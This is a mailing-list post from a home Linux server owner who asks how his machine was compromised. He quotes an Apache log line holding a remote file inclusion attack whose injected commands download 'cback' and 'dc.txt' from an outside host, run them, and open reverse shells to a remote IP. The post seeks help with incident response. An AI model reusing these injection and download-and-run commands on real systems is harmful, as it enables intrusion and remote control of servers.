My home desktop was compromised, but how?

Hi,

I run an apache, ssh server from my home computer. I have not
installed any php scripts whatsoever. All there are are text files,
and the odd html file.

Somebody seems to have hacked into my desktop/server. I find files in
the /tmp/ (like "agent.8213)directory which I cannot open, these are
setuid-ed -- how do I open these?

In my apache access logs, there are things like
"http://66.98.144.89/cmd.txt?&cmd=cd%20/tmp;wget%20216.99.218.183/cback;chmod%20744%20cback;./cback%20217.160.242.90%208081;wget%20216.99.218.183/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217.160.242.90%208081;cd%20/var/tmp;curl%20-o%20cback%20http://216.99.218.183/cback;chmod%20744%20cback;./cback%20217.160.242.90%208081;curl%20-o%20dc.txt%20http://216.99.218.183/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217.160.242.90%208081;echo%20YYY;echo|"

That above is a valid url, and will take you to a script to deface
someone's php script etc, I suppose. Now, how did this malicious
hacker get in my computer?

(The full line is :
192.168.0.201 - - [26/Feb/2006:14:56:06 -0500] "GET
/index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://66.98.144.89/cmd.txt?&cmd=cd%20/tmp;wget%20216.99.218.183/cback;chmod%20744%20cback;./cback%20217.160.242.90%208081;wget%20216.99.218.183/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217.160.242.90%208081;cd%20/var/tmp;curl%20-o%20cback%20http://216.99.218.183/cback;chmod%20744%20cback;./cback%20217.160.242.90%208081;curl%20-o%20dc.txt%20http://216.99.218.183/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217.160.242.90%208081;echo%20YYY;echo|
HTTP/1.1" 404 303 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)" )
How would I go about tracing how this incident happened?

Any server/security admins here that can help me with a little
patience? I really want to get to the root of this and find out why
whatever happened happened.

None of the passwords for the ssh accounts are dictionary words, in
fact all are combinations of letters, numbers and sometimes special
symbols.

I have done nothing special to modify apache, or the ssh daemon, in
fact, sshd listens on port 8888.

I could paste logs here, but they would be too long. For now, I have
stopped the apache and ssh servers.

Any help will be most welcome. My security bubble just burst :(

Carthik.
--
ubuntu-users mailing list
ubuntu-users@xxxxxxxxxxxxxxxx
https://lists.ubuntu.com/mailman/listinfo/ubuntu-users

Relevant Pages

  • Re: Unix Permissions: Using groups to isolate users from webserver
    ... Non-CGI requests are still processed ... based acl's with apache, thus eliminating all of 'those' problems, the ... > impossible or you can install it separately and make your PHP scripts usual unix ... regardless of what userland does. ...
    (Security-Basics)
  • Forms and PHP V5.0.2 with APACHE V2.0.50
    ... To use my HOME PC to run a local APACHE web server on which to ... develop websites that make use of PHP scripts and MySQL databases. ... REGISTER_LONG_ARRAYS directive settings of the PHP.INI config file, ... Note also that I have been restarting APACHE after each change to ...
    (comp.lang.php)
  • Re: WordPress 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution
    ... I'm pretty sure that the exploit won't work on web servers other than Apache. ... Whether it will work on your Apache server or not depends on your mod_php configuration. ... The exploit however will work on systems where php scripts are handled via the following setting in the php.conf: ...
    (Bugtraq)
  • Apache newbie needs help with PHP
    ... My system has the Apache HTTP server installed. ... I am having problems getting Apache to run PHP scripts. ... However when I run php1.php from the command line (using the php ...
    (linux.redhat)